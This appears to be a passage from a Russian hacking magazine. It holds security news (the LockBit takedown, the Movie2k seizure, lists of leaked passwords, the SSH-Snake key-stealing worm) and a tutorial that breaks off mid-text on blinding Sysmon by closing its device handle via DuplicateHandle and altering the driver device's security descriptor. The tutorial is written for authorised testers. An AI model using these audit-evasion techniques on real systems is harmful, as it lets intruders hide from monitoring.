• BIND_Notifications

 — разрешение, предназначенное для помощи пользовате‐

лям с  ограниченными возможностями, которое способно предоставить
вредоносному APK широчайшие возможности. Обычно хакеры используют
его для отслеживания действий пользователя, получения конфиденциаль‐
ных данных, дистанционного нажатия клавиш и  выполнения команд, что
часто приводит к полной компрометации устройства.

• Accessibility

«
»

«В ходе предстоящего эксперимента, если пользователь в Сингапуре
попытается установить приложение из  интернет‑источника и  будет
обнаружено любое из  этих четырех разрешений, Play Protect авто-
матически заблокирует установку приложения и  покажет пояснение
пользователю», — сообщили в Google.

TELEGRAM — ОСНОВНОЙ ИНСТРУМЕНТ ПРЕСТУПНИКОВ

На своем выступлении в Совете Федерации заместитель начальника управления по организа‐
ции борьбы с  противоправным использованием информационно‑коммуникационных тех‐
нологий МВД России Сергей Ерохин назвал Telegram основным инструментом киберпреступни‐
ков. Он также отметил, что взаимодействие с приложением практически не осуществляется.

→ «Основным инструментом коммуникации злоумышленников в  таких прес‐
туплениях является Telegram, взаимодействие с которым затруднено и на прак‐
тике не осуществляется ввиду размещения серверного оборудования компании
и  самого юридического лица за  пределами РФ, мягко говоря, в  недоступном
сегменте», — рассказал Ерохин.

ПРАВООХРАНИТЕЛИ
ХАКНУЛИ LOCKBIT
Инфраструктура хакгруппы LockBit была взломана правоохранительными
органами, но группировка уже возобновляет работу после непродолжитель‐
ного перерыва.

В середине февраля правоохранители провели , в рам‐
ках которой они вывели из строя инфраструктуру LockBit, включая 34 сервера,
где размещались сайты для слива данных и их зеркала, украденные у жертв
файлы, криптовалютные кошельки, а  также получили около  1000  ключей
для дешифрования данных и выпустили инструмент для расшифровки и бес‐
платного восстановления файлов.

операцию Cronos

При этом сайт для слива данных, ранее контролируемый LockBit, был изменен
властями и  уже анонсировал не  публикацию данных жертв, а  раскрытие
информации об  операциях самой LockBit. В  итоге Национальное агентство
по борьбе с преступностью Великобритании (NCA), ФБР, Европол, Евроюст
и их партнеры из других стран постепенно раскрыли детали проведенной ими
операции.

Продолжение статьи
→
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Так, согласно выпущенному аналитиками Trend Micro отчету, в LockBit уже шла
разработка новой версии шифровальщика (LockBit-NG-Dev), которая, веро‐
ятно, должна была стать LockBit 4.0. Исследователи рассказали, что в отли‐
чие от предыдущей версии, построенной на C/C++, новая малварь представ‐
ляла собой незавершенную разработку, написанную на  .NET, которая, судя
по всему, была скомпилирована CoreRT и упакована с помощью MPRESS.

Отмечалось, что новая малварь поддерживает три режима шифрования (с
использованием AES + RSA)  — «быстрое», «прерывистое» и  «полное», поз‐
воляет не  шифровать конкретные файлы и  каталоги, а  также рандомизи‐
ровать именование файлов, чтобы усложнить их восстановление.

Также стало известно, что только за  последние  18  месяцев хакгруппа
LockBit получила более  125  миллионов долларов выкупов (по информации
NCA и  блокчейн‑аналитиков из  компании Chainalysis). Так, после захвата
инфраструктуры группы правоохранители изучили сотни криптовалютных
кошельков, связанных с группировкой, и извлекли информацию о 30 тысячах
биткоин‑адресов, которые использовались для получения выкупов и управле‐
ния доходами хакеров.

Больше  500  из  этих адресов были активны и  получили свыше  125  мил‐
лионов долларов (по текущему курсу) в  период с  июля  2022-го по  фев‐
раль  2024  года. Также расследование показало, что около  2200 BTC оста‐
вались неизрасходованными на момент проведения операции Cronos.

«
»

«Учитывая, что количество подтвержденных атак LockBit за  четыре
года превысило  2000, это  позволяет предположить, что последствия
[этих атак] в  глобальном масштабе исчисляются несколькими мил-
лиардами долларов», — считают в NCA.

После захвата инфраструктуры LockBit правоохранительные органы намека‐
ли, что могут раскрыть личность публичного представителя группировки,
известного под ником LockBitSupp. В итоге никакого доксинга не произошло,
но  власти заявили, что им известна личность LockBitSupp и  он, к  примеру,
водит не Lamborghini, а Mercedes.

В ответ на  это LockBitSupp опубликовал объемное заявление, в  котором
откровенно насмехался над правоохранителями:

«
»

«Я очень рад, что ФБР взбодрило меня, зарядило энергией и  зас-
тавило оторваться от развлечений и траты денег, очень тяжело сидеть
за  компьютером с  сотнями миллионов долларов, единственное, что
мотивирует меня работать, — это  сильные конкуренты и ФБР, появ-
ляется спортивный интерес и  желание соревноваться»,  — писал
LockBitSupp.

Кроме того, в  своем послании представитель LockBit подтвердил, что пра‐
воохранительные органы скомпрометировали инфраструктуру группы, обна‐
ружив и  использовав PHP-уязвимость CVE-2023-3824. LockBitSupp признал,
что это произошло из‑за его «личной халатности и безответственности», так
как он «расслабился и не обновил PHP вовремя». Он подчеркивал, что сер‐
веры, где не было PHP, остались под контролем группы.

По словам LockBitSupp, правоохранители атаковали LockBit специально,
чтобы предотвратить публикацию украденных хакерами документов, содер‐
жащих «много интересных вещей и  судебных документов Дональда Трампа,
которые могут повлиять на предстоящие выборы в США».

В конце месяца инфраструктура LockBit начала возвращаться к  работе.
Группировка сохранила свой «бренд» и  перенесла сайт для  слива данных
на новый onion-адрес, где уже перечислены пять жертв и работают таймеры
обратного отсчета, показывающие время до  публикации похищенной
информации.

Как сообщил LockBitSupp, сейчас LockBit планирует повысить уровень
безопасности своей инфраструктуры и  выпускать инструменты для  рас‐
шифровки файлов вручную. Кроме того, партнерская панель теперь будет
размещена на нескольких серверах, а партнеры группы получат доступ к раз‐
личным копиям в зависимости от уровня доверия.

ПОЧТИ  РОССИЯН ПОЛЬЗУЮТСЯ TELEGRAM50%

В России суточный охват Telegram среди аудитории старше 12 лет за год вырос почти на  ,
подсчитали в компании Mediascope. В результате наращивания охвата Telegram занимает чет‐
вертую позицию в рейтинге самых популярных интернет‑ресурсов.

20%

Первое место сохраняется за  WhatsApp, среднесуточный охват которого составляет .
На втором месте находится Яндекс ( ), на третьем — Google ( ).

67%
56% 53%

При этом отмечается, что доля россиян, которые заходят в Telegram хотя бы раз в месяц, в чет‐
вертом квартале 2023 года достигла .68%

У ПИРАТОВ ИЗЪЯЛИ
ДВА МИЛЛИАРДА
ФБР и немецкая полиция получили доступ примерно к 50 тысячам биткоинов
(около двух миллиардов долларов США), принадлежавших операторам
пиратского портала Movie2k, который закрылся еще в 2013 году.

Исторически пираты были одними из первых, кто стал использовать крип‐
товалюту. Например, The  Pirate Bay начал принимать пожертвования в  бит‐
коинах еще  в  2013  году, когда один биткоин стоил лишь  120  долларов.
Movie2k тоже был одним из  пиратских сайтов, который проявил интерес
к криптовалюте еще в те годы. В период своего расцвета сайт, работавший
с 2008 по 2013 год, был крупнейшим пиратским порталом в немецкоязычных
странах. И он приносил своим операторам неплохой доход, который хранили
в том числе в криптовалюте.

Однако операторы сайта так и  не успели потратить большую часть этих
денег. Movie2k неожиданно закрылся весной 2013 года. Тогда многие подоз‐
ревали, что у  ресурса возникли проблемы с  законом, и  это подтвердилось
спустя годы, когда в  2020  году полиция Дрездена неожиданно объявила
о двух арестах.

Стоит отметить, что Movie2k работал в «серой» зоне, предоставляя поль‐
зователям ссылки для потоковой передачи или загрузки фильмов и сериалов,
но не размещая на собственных страницах какие‑либо материалы, защищен‐
ные авторским правом. Однако Movie2k все равно столкнулся с серьезными
юридическими проблемами и  проверками со  стороны властей, что в  итоге
привело к  блокировкам на  уровне интернет‑провайдеров и  вынудило опе‐
раторов сайта неоднократно поменять домены.

Когда в 2020 году вдруг появились новые подробности о давно устарев‐
шем деле, это удивило многих. Но куда большим сюрпризом стало объявле‐
ние полиции о том, что у операторов сайта изъяли 29,7 миллиона долларов
в биткоинах, хотя уже тогда правоохранители предполагали, что у операторов
Movie2k было гораздо больше криптовалюты.

В феврале полиция Дрездена обнародовала новую информацию, сви‐
детельствующую о  том, что эти предположения оказались верны. Так,
в результате расследования, проведенного Генеральной прокуратурой Дрез‐
дена, полицией Саксонии и  местным налоговым управлением (INES),
в  начале января  2024  года у  бывших операторов Movie2k были изъяты око‐
ло 50 тысяч биткоинов, то есть более 2 миллиардов долларов по курсу на тот
момент, что делает эту конфискацию крупнейшей в истории.

«
»

«Биткоины были изъяты после того, как  обвиняемые добровольно
перевели их на официальные кошельки, предоставленные Федераль-
ным управлением уголовной полиции. Окончательное решение об их
использовании еще не принято», — сообщают власти.

Согласно обнародованной теперь информации, операторы Movie2k «зарабо‐
тали» эти деньги с помощью рекламы и махинаций с подпиской.

Интересно, что операторы сайта далеко не всегда получали платежи сразу
в  биткоинах. Дело в  том, что они сами регулярно покупали криптовалюту,
предполагая, что ее будет труднее отследить и конфисковать. Так, владельцы
Movie2k начали конвертировать свои доходы в биткоины еще в 2012 году, ког‐
да стоимость BTC составляла всего несколько долларов США.

В настоящее время бывшие операторы Movie2k (40-летний немец и  37-
летний поляк) все еще остаются под следствием по обвинениям в нарушении
авторских прав и  отмывании денег. Неясно, все ли биткоины Movie2k были
изъяты властями теперь, или  у бывших операторов пиратского сайта где‑то
хранится еще криптовалюта.

САМЫЕ ПОПУЛЯРНЫЕ ПАРОЛИ ИЗ УТЕЧЕК

Исследователи Data Leakage & Breach Intelligence (DLBI) изучили  уникальных
учетных записей, включая  новых пар электронная почта / пароль, утекших в сеть
за последний год.

5,52 миллиарда
44 миллиона

Основной упор эксперты сделали на пароли, выявив и удалив автоматически сгенерированные
пароли (те, которые устанавливают не пользователи сами, а сервис, допустивший утечку этих
самых паролей), а также массовые автоматические регистрации.

Источниками для  этого исследования послужили различные сообщества, занимающиеся вос‐
становлением паролей из  хешей, теневые форумы и Telegram-каналы, где в открытый доступ
массово сливают данные.

В итоге выяснилось, что топ-10 самых популярных паролей за все время выглядит так:

1. 123456

2. 123456789

3. qwerty123

4. 12345

5. qwerty

6. qwerty1

7. password

8. 12345678

9. 111111

10. 1q2w3e

Десять самых популярных паролей, содержащих буквы, цифры и спецсимволы:

1. 1qaz@WSX

2. P@ssw0rd

3. p@ssw0rd

4. pass@123

5. 1qaz!QAZ

6. !QAZ2wsx

7. Password1!

8. !QAZ1qaz

9. Pass@123

10. abc123!

А вот топ-10 самых популярных кириллических паролей в основном состоит из имен:

1. йцукен

2. пароль

3. любовь

4. привет

5. наташа

6. максим

7. марина

8. люблю

9. андрей

10. кристина

SSH-SNAKE ВОРУЕТ
КЛЮЧИ
Аналитики компании Sysdig предупредили о появлении опенсорсного инстру‐
мента SSH-Snake, который используется для незаметного поиска приватных
ключей и бокового перемещения по инфраструктуре жертвы.

Исследователи описывают SSH-Snake как  «самомодифицирующегося
червя», который использует учетные данные SSH, обнаруженные в скомпро‐
метированной системе, чтобы начать распространяться по сети. Также отме‐
чается, что он отличается от  обычных SSH-червей тем, что избегает пат‐
тернов, типичных для скриптовых атак, и выводит обычное боковое переме‐
щение по  сети на  новый уровень, поскольку более тщательно подходит
к поиску приватных ключей.

SSH-Snake использует следующие прямые и косвенные методы для обна‐
ружения приватных ключей в зараженных системах:

поиск в общих каталогах и файлах, где обычно хранятся SSH-ключи и учет‐
ные данные, включая каталоги .ssh и файлы конфигурации;

•

изучение файлов shell history (например, .bash_history, .zsh_history)
для поиска команд (ssh, scp и rsync), которые могли использовать приват‐
ные ключи SSH или ссылаться на них;

•

использование функции find_from_bash_history для  анализа истории bash
в  поисках команд, связанных с  операциями SSH, SCP и  Rsync, что поз‐
воляет обнаружить прямые ссылки на  приватные ключи, их местополо‐
жение и связанные с ними учетные данные;

•

изучение системных журналов и  сетевого кеша (таблиц ARP) для  выяв‐
ления потенциальных целей и  сбора информации, которая может кос‐
венно привести к  обнаружению приватных ключей и  мест их исполь‐
зования.

•

SSH-Snake появился на GitHub в начале января 2024 года, и его разработчик
писал, что это «мощный инструмент» для автоматического network traversal c
использованием приватных ключей SSH, обнаруженных в системах. При этом
SSH-Snake создает полную карту сети и  ее зависимостей, помогая опре‐
делить, как  сеть может быть скомпрометирована с  использованием SSH
и приватных ключей SSH, начиная с конкретного хоста.

Создатель SSH-Snake Джошуа Роджерс (Joshua Rogers) подчеркивал, что
его инструмент предназначен для законных владельцев систем и выявления
слабых мест в их инфраструктуре, пока этого не сделали злоумышленники.

«

»

«Принято считать, что кибертерроризм происходит внезапно и требует
исключительно реактивного подхода к безопасности, — говорит Род-
жерс. — По моему опыту, вместо этого системы должны разрабаты-
ваться и  обслуживаться с  применением комплексных мер безопас-
ности. Если  бы системы разрабатывались и  обслуживались людьми
в  здравом уме, а  владельцы систем и  компании действительно
заботились о  безопасности, последствия от  выполнения подобного
скрипта были  бы сведены к  минимуму, как  если  бы действия SSH-
Snake выполнялись злоумышленником вручную».

Sysdig сообщает, что одна из наиболее интересных особенностей SSH-Snake
заключается в  его способности модифицировать себя и  уменьшать размер
при  первом запуске. Для  этого червь удаляет из  своего кода комментарии,
ненужные функции и пробельные символы.

Аналитики подчеркнули, что червь уже используется злоумышленниками.
В частности, был обнаружен управляющий сервер, который операторы SSH-
Snake использовали для хранения собранной информации, включая учетные
данные и IP-адреса жертв. Судя по всему, хакеры эксплуатировали известные
уязвимости в  Apache ActiveMQ и  Atlassian Confluence для  получения пер‐
воначального доступа к  сетям жертв, а  затем развертывали червя для  про‐
должения атаки.

По данным специалистов, в  общей сложности опенсорсный инструмент
уже использовался в атаках против примерно 100 жертв.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Аудит Tor выявил 17 уязвимостей

Хакеры взломали системы Cloudflare, используя похищенные у Okta токены

У гонконгской фирмы украли 25 миллионов долларов с помощью дипфейков в видеочате

Google: большинство 0-day-уязвимостей связаны с поставщиками коммерческого шпионского
ПО

Критическая уязвимость в Shim представляет угрозу для Linux-дистрибутивов

Канада запрещает Flipper Zero ради борьбы с автоугонами

Glupteba использует ранее не документированный UEFI-буткит

Более 13 тысяч пользователей камер Wyze заглянули в чужие дома

Атака VoltSchemer использует беспроводные зарядки для повреждения устройств

ChatGPT напугал пользователей бессвязными и бессмысленными ответами

https://xakep.ru/2024/02/01/tor-radically-open-security/
https://xakep.ru/2024/02/02/cloudflare-okta-postmortem/
https://xakep.ru/2024/02/06/deepfake-scammers/
https://xakep.ru/2024/02/07/google-spyware-report/
https://xakep.ru/2024/02/08/shim-flaw/
https://xakep.ru/2024/02/12/flipper-canada/
https://xakep.ru/2024/02/14/glupteba-bootkit/
https://xakep.ru/2024/02/21/wyze-leaks/
https://xakep.ru/2024/02/22/voltschemer/
https://xakep.ru/2024/02/22/chatgpt-going-crazy/
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По лучив дос туп к сис теме, зло умыш ленник
пер вым делом пыта ется осле пить средс тва
ауди та, что бы как мож но доль ше оста вать ся
незаме чен ным. В этой статье мы с тобой
поп робу ем осле пить Sysmon и сде лать
это мак сималь но незамет но для штат ного
ауди та Windows. Дос тичь это го нам поз- 
волят манипу ляции с хен дла ми и дес крип- 
торами безопас ности.

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

SYSMON INTERNALS

Сра зу ого ворюсь, что тех ники, опи сан ные в этой статье, тре буют, что бы у ата- 
кующе го были адми нис тра тив ные при виле гии. Кто-то ска жет: зачем же нам
углублять ся во внут рянку Windows, если с пра вами адми на мож но оста новить
служ бу Sysmon или вооб ще уда лить ее? Ответ прост. Во-пер вых, при реали- 
зации тра дици онных тех ник, таких как оста нов ка служ бы, завер шение про цес- 
са или пол ное уда ление Sysmon, штат ный аудит Windows сфор миру ет мас су
событий (начиная с EventID 4689 в жур нале Security и закан чивая событи ем
EventID 1 в жур нале System от про вай дера FilterManager). Во-вто рых,
это прос то полез ное упражне ние: мы дол жны как мож но глуб же раз бирать ся
в под систе ме безопас ности любимой ОС, что бы понимать тех ники, которы ми
поль зуют ся хакеры.

Как уже говори лось в статье « », Sysmon —
это инс тру мент, пред назна чен ный для углублен ного монито рин га активнос ти,
про исхо дящей в сис теме, который поз воля ет сущес твен но рас ширить штат- 
ный аудит ОС Windows.

Sysmon для безопас ника

Вот как его работа выг лядит изнутри.

Пер вая коман да ( ) ищет зарегис три рован ные

в сис теме служ бы и драй веры с помощью Win32-фун кции
. Вид но, что в сис теме дей ству ют две сущ ности: служ ба

режима поль зовате ля — Sysmon64 и драй вер SysmonDrv. Обе сущ ности
запус кают ся авто мати чес ки при стар те сис темы (поле ). Эту

информа цию мы получа ем с помощью коман ды ,

которая пос ледова тель но вызыва ет  (для получе ния
текуще го ста туса работы — запуще на или оста нов лена)
и  (для получе ния оставшей ся информа ции).

search <ServicePattern>

EnumServicesStatus()

StartType
show all <ServiceName>

QueryServiceStatus()

QueryServiceCong()
Ло гич но пред положить, что события (или часть событий), которые пишет

служ ба Sysmon64 в жур нал , фор- 

миру ются модулем ядра SysmonDrv, а для вза имо дей ствия служ бы и драй- 
вера дол жно быть ком муника цион ное устрой ство (device). Что бы про верить
это, пос мотрим на спи сок хен длов, откры тых служ бой Sysmon64 (про цес сом
Sysmon64.exe).

Microsoft-Windows-Sysmon\Operational

По лучим иден тифика тор про цес са Sysmon64.exe (
).

search name <
ProcessPattern>

Ко ман да  работа ет через вызов

: фун кции  и .

search name <ProcessPattern>
CreateToolhelp32Snapshot() Process32First() Process32Next()

Пос ле того как мы получим ID про цес са, пос мотрим спи сок его хен длов.

Из вывода вид но, что у про цес са Sysmon64.exe есть нес коль ко откры тых хен- 
длов на устрой ства. Обра ти вни мание на устрой ство ,

одно имен ное драй веру. Ско рее все го, имен но с помощью это го устрой ства
служ ба режима поль зовате ля Sysmon64 получа ет информа цию от драй вера
и впос ледс твии фор миру ет события ауди та.

\Device\SysmonDrv

Ко ман да  реали зует вызов

 с парамет ром .

show handles <PID> <Type>
NtQueryInformationProcess() ProcessHandleInformation

  __kernel_entry NTSTATUS NtQueryInformationProcess(
 [in]            HANDLE           ProcessHandle,
  [in]            PROCESSINFOCLASS ProcessInformationClass,
 [out]           PVOID            ProcessInformation,
 [in]            ULONG            ProcessInformationLength,
   [out, optional] PULONG           ReturnLength
);

Пер вый параметр ( ) — дес крип тор про цес са, хен длы которо го

мы хотим уви деть. Его мож но получить при помощи фун кции 
с парамет ром .

ProcessHandle
OpenProcess()

PROCESS_QUERY_INFORMATION
 — это харак тер зап рашива емой информа ции.

В нашем слу чае этот параметр равен , то есть мы

хотим получить информа цию о хен длах про цес са.

ProcessInformationClass
ProcessHandleInformation

Сле дующим идет , ука затель на память, в которую

будет помещен резуль тат нашего зап роса —
, то есть ука затель на струк туру,

содер жащую спи сок всех хен длов и их количес тво.

ProcessInformation

PPROCESS_HANDLE_SNAPSHOT_INFORMATION

Чет вертый и пятый парамет ры ука зыва ют раз мер име ющей ся и тре буемой
памяти, в которую помеща ется воз вра щаемый фун кци ей резуль тат.

ÇÀÊÐÛÒÈÅ ÕÅÍÄËÀ ×ÅÐÅÇ ÄÓÁËÈÊÀÒ

Ес ли наши пред положе ния вер ны, то, что бы Sysmon перес тал фор мировать
события ауди та, ата кующий может зас тавить про цесс Sysmon64.exe зак рыть
хендл на это устрой ство.

Су щес тву ет  это сде лать, но мы вос поль зуем ся
самым, на мой взгляд, прос тым — с помощью вызова :

нес коль ко спо собов
DuplicateHandle()

 BOOL DuplicateHandle(
      [in] HANDLE hSourceProcessHandle,
      [in] HANDLE hSourceHandle,
      [in] HANDLE hTargetProcessHandle,
   [out] LPHANDLE lpTargetHandle,
       [in] DWORD dwDesiredAccess,
        [in] BOOL bInheritHandle,
       [in] DWORD dwOptions
);

С помощью этой фун кции мож но копиро вать хен длы меж ду про цес сами, при- 
чем у нее есть инте рес ная опция, которая поз воля ет при копиро вании зак- 
рывать исходный хендл. Этим мы и вос поль зуем ся. Наш код будет выг лядеть
сле дующим обра зом:

DuplicateHandle(
 hProcess,
 hObject,
 GetCurrentProcess(),
 &hDupObject,
 0,
 FALSE,
   DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE
);

Пер вый параметр ( ) — дес крип тор про цес са, хендл из которо го мы

хотим  зак рыть. Тут важ но не забыть, что переда ваемый объ ект
про цес са  дол жен быть открыт с мас кой дос тупа

.

hProcess
ско пиро вать

hProcess
PROCESS_DUP_HANDLE

Сле дующий параметр ( ) — сам зак рыва емый дес крип тор.hObject
Тре тий ( ) и чет вертый ( ) парамет ры

ука зыва ют на про цесс-при емник и сам хендл-при емник соот ветс твен но.

GetCurrentProcess() &hDupObject

Пос ледний параметр содер жит две кон стан ты: пер вая
( ) зна чит, что новый хендл дол жен иметь такую же

мас ку дос тупа, как и исходный; вто рая ( ) — что
необ ходимо зак рыть исходный хендл пос ле опе рации дуб лирова ния.
Отлично, это то, что нам нуж но.

DUPLICATE_SAME_ACCESS
DUPLICATE_CLOSE_SOURCE

Итак, как мы видели ранее, у про цес са Sysmon64.exe есть откры тый опи- 
сатель для объ екта . Поп робу ем его зак рыть.\Device\SysmonDrv

Мы зак рыли опи сатель с иден тифика тором 0x310, одна ко сра зу пос ле это го
про цесс Sysmon64.exe успешно открыл его пов торно (0x4с4) и про дол жил
работать как ни в чем не бывало. Поэто му перей дем к тяжелой артилле рии,
а эта тех ника нам еще понадо бит ся поз же.

ÎÁÚÅÊÒÛ ÄÐÀÉÂÅÐÎÂ

Раз уж не получи лось манипу лиро вать с хен длом, поп робу ем помани пули- 
ровать с дес крип тором безопас ности (Security Descriptor), который опре- 
деля ет пра вила пре дос тавле ния дос тупа к устрой ству .
Но для начала давай вспом ним, что такое объ ект драй вера (driver) и объ ект
устрой ства (device), а так же как устро ена под систе ма управле ния дос тупом
в Windows. Если ты хорошо зна ком с такими поняти ями, как Driver Object,
Device Object, Security Descriptor и Access Token, можешь сме ло про пус кать
этот и сле дующий раз делы.

\Device\SysmonDrv

При заг рузке драй вера в адресное прос транс тво ядра сис тема соз дает
струк туру , то есть соз дает спе циаль ный объ ект типа драй- 

вер (driver). Для наг ляднос ти вос поль зуем ся отладчи ком WinDbg и пос мотрим
на содер жимое этой струк туры.

_DRIVER_OBJECT

По сме щению 0x008 от начала струк туры живет эле мент  — ука- 

затель на струк туру  — это дру гой объ ект ядра, который

необ ходим для ком муника ций меж ду про цес сом режима поль зовате ля
и самим драй вером. Ины ми сло вами, ком муника цион ное устрой ство обес- 
печива ет переда чу информа ции меж ду поль зователь ским про цес сом и драй- 
вером. Имен но для этих целей драй веры соз дают объ екты device, а поль- 
зователь ские про цес сы могут вза имо дей ство вать с ними.

DeviceObject
_DEVICE_OBJECT

Са мый инте рес ный эле мент струк туры — это . Имен но
там хра нят ся све дения о том, кому раз решено вза имо дей ство вать с устрой- 
ством и по какой мас ке дос тупа. Его содер жимым мы и будем манипу лиро- 
вать.

SecurityDescriptor

Продолжение статьи →

mailto:andreykras14@gmail.com
https://xakep.ru/2018/02/15/sysmon-logs/
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https://learn.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-queryservicestatus
https://learn.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-queryserviceconfigw
https://learn.microsoft.com/ru-ru/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
https://learn.microsoft.com/ru-ru/windows/win32/api/tlhelp32/nf-tlhelp32-process32first
https://learn.microsoft.com/ru-ru/windows/win32/api/tlhelp32/nf-tlhelp32-process32next
https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
https://scorpiosoftware.net/2020/03/15/how-can-i-close-a-handle-in-another-process/
https://learn.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-duplicatehandle
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ÊÀÊ ÓÑÒÐÎÅÍÀ ÁÅÇÎÏÀÑÍÎÑÒÜ Â WINDOWS

В под систе ме управле ния дос тупом Windows есть три учас тни ка (роли):
субъ ект дос тупа;•
объ ект дос тупа;•
не зави симый арбитр.•

 при нято называть поток (или про цесс, в этой статье мы

будем счи тать эти понятия синони мами), который пыта ется получить дос туп
к ресур су (нап ример, фай лу или клю чу реес тра) — . Потоки

исполня ются в кон тек сте опре делен ного поль зовате ля. Это озна чает, что
про цесс может получить ров но столь ко дос тупа, сколь ко пре дос тавле но учет- 
ной записи, от име ни которой запущен про цесс.

Ñóáú åêòîì äîñ òóïà

îáú åêòó äîñ òóïà

За при над лежность потока к кон тек сту кон крет ного поль зовате ля отве чает
струк тура ядра  (Access Token, мар кер дос тупа). Это сво еоб разный
«пас порт субъ екта», который сис тема про веря ет вся кий раз, как толь ко про- 
цесс зат ребу ет выпол нение какой-либо опе рации над объ ектом (чте ние клю- 
ча реес тра, запись в файл, чте ние из ком муника цион ного устрой ства). Струк- 
тура  содер жит сле дующие све дения:

_Token

_Token
от име ни какой учет ной записи запущен про цесс (иден тифика тор учет ной
записи);

•

ка ким груп пам безопас ности при над лежит учет ная запись (иден тифика- 
торы групп);

•

ка кие у учет ной записи при виле гии.•

По лучим адрес  из струк туры  (это струк тура ядра, которая

опи сыва ет объ ект про цес са).

Token _EPROCESS

По фак ту  «ука зыва ет на ука затель» , а не на сам .

При чем  име ет тип union (в тер миноло гии язы ка C) и вклю чает

в себя три эле мен та. Напом ню, union пред полага ет, что все эле мен ты типа
сов мес тно исполь зуют выделен ную им память.

Token _EX_FAST_REF Token
_EX_FAST_REF

Эле мен ты  и  — 8 байт,  — 4 бита. Зна чение 

исполь зует ся внут ренни ми механиз мами ядра Windows для под сче та
количес тва ссы лок. Таким обра зом, что бы получить адрес ука зате ля на струк- 
туру , нуж но занулить пос ледние 4 бита зна чения в эле мен те .

Object Value RefCnt RefCnt

_Token Object

Пос мотреть на содер жимое Access Token в удоб ном виде мож но с помощью
рас ширения .!token

Ви дим, что Sysmon64.exe запущен от име ни учет ной записи Local System (S-
1-5-18). Более под робно о том, что такое мар кер дос тупа, мож но почитать
в стать ях « » и «

» на «Хаб рахаб ре».
Windows Tokens То кены. От появ ления до прод вижения в Active

Directory
 называ ется любой эле мент Windows, дос туп

к которо му может быть про изволь но огра ничен. По сво ей сути Windows име ет
объ ектную модель, то есть все ресур сы явля ются объ екта ми. Фай лы, клю чи
реес тра, про цес сы, устрой ства вво да-вывода — это всё объ екты, дос туп
к которым кон тро лиру ется средс тва ми ОС. Све дения о том, кому мож но
получить дос туп к объ екту, а кому нет, содер жатся в Security Descriptor (SD,
дес крип тор безопас ности объ екта, струк тура ядра ).

Пос мотрим на содер жимое дес крип тора безопас ности для нашего устрой- 
ства . Для это го про дела ем сле дующий путь:

Îáú åêòîì äîñ òóïà

_SECURITY_DESCRIPTOR

\Device\SysmonDrv
1. С помощью рас ширения  получим адрес струк туры

 для нашего драй вера SysmonDrv.
!drvobj

_DRIVER_OBJECT

2. Отту да получим зна чение , ука зыва ющее на объ ект ком- 
муника цион ного устрой ства  ( ).

DeviceObject

\Device\SysmonDrv _DEVICE_OBJECT

3. А уже из  — ука затель на ._DEVICE_OBJECT _SECURITY_DESCRIPTOR

Пос мотрим на содер жимое дес крип тора безопас ности нашего объ екта.

В этой струк туре хра нят ся:
све дения о хозя ине объ екта (object owner), в нашем слу чае это Local
System (S-1-5-18);

•

дан ные об основной груп пе объ екта (object primary group) — Local System;•
спис ки DACL и SACL.•

Имен но спи сок DACL содер жит перечень учет ных записей (иден тифика- 
торов), которым раз решено (или зап рещено) получать дос туп к объ екту.
При этом ука зыва ется метод дос тупа (мас ки, опе рации дос тупа).

Под робнее о струк туре дес крип торов безопас ности мож но про читать 
.

в
статье на «Кодебай»

У нас есть , изъ явив ший желание получить дос туп

к защища емо му ресур су (субъ ект име ет свой Access Token, содер жащий све- 
дения об учет ной записи поль зовате ля, ее членс тве в груп пах и при виле гиях),
и  (то есть сам защища емый ресурс), име ющий Security

Descriptor (све дения о том, кому и какой дос туп раз решен). Теперь нам нужен
незави симый арбитр, который смо жет на осно ве этой информа ции решить,
пре дос тавлять ли дос туп.

ñóáú åêò äîñ òóïà
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В качес тве такого  выс тупа ет ком понент

исполни тель ной под систе мы — Security Reference Monitor (SRM). Этот ком- 
понент отве чает за про вер ку того, может ли субъ ект получить дос туп к объ- 
екту по зап рашива емо му методу дос тупа на осно ве сво их внут ренних алго- 
рит мов.

íå çàâè ñèìî ãî àðáèòðà

Итак, подыто жим:
субъ ект дос тупа — про цесс Sysmon64.exe, запущен ный от име ни учет ной
записи Local System (S-1-5-18);

•

Sysmon64.exe чита ет дан ные, фор миру емые драй вером SysmonDrv,
с помощью ком муника цион ного устрой ства —  (объ- 
ект дос тупа);

•
\Device\SysmonDrv

ус трой ство  име ет свой Security Descriptor, который
ата кующий хочет модифи циро вать таким обра зом, что бы субъ екту (про- 
цес су Sysmon64.exe) было отка зано в дос тупе.

• \Device\SysmonDrv

ÎÑËÅÏËßÅÌ SYSMON

Ос вежив зна ния о под систе ме управле ния дос тупом, прис тупим к нашей
основной задаче — поп робу ем осле пить Sysmon. В этом раз деле мы изме- 
ним Security Descriptor таким обра зом, что бы про цес су Sysmon64.exe было
отка зано в пре дос тавле нии дос тупа к устрой ству .\Device\SysmonDrv

Пос мотрим на содер жимое дес крип тора безопас ности ком муника цион- 
ного устрой ства. Для это го нам пот ребу ется получить хендл на устрой ство
с помощью фун кции  и пос леду юще го вызова .
Давай под робнее оста новим ся на этих фун кци ях.  уме ет
получать опи сате ли для мно жес тва объ ектов, в том чис ле и для ком муника- 
цион ных устрой ств:

CreateFile() GetSecurityInfo()
CreateFile()

 HANDLE CreateFileW(
 [in]           LPCWSTR               lpFileName,
 [in]           DWORD                 dwDesiredAccess,
 [in]           DWORD                 dwShareMode,
    [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
 [in]           DWORD                 dwCreationDisposition,
 [in]           DWORD                 dwFlagsAndAttributes,
   [in, optional] HANDLE                hTemplateFile
);

Да вай под робнее раз берем каж дый из семи парамет ров.
1.  при нима ет имя объ екта, в нашем слу чае это 

 — сим воличес кая ссыл ка на .
lpFileName \\.\

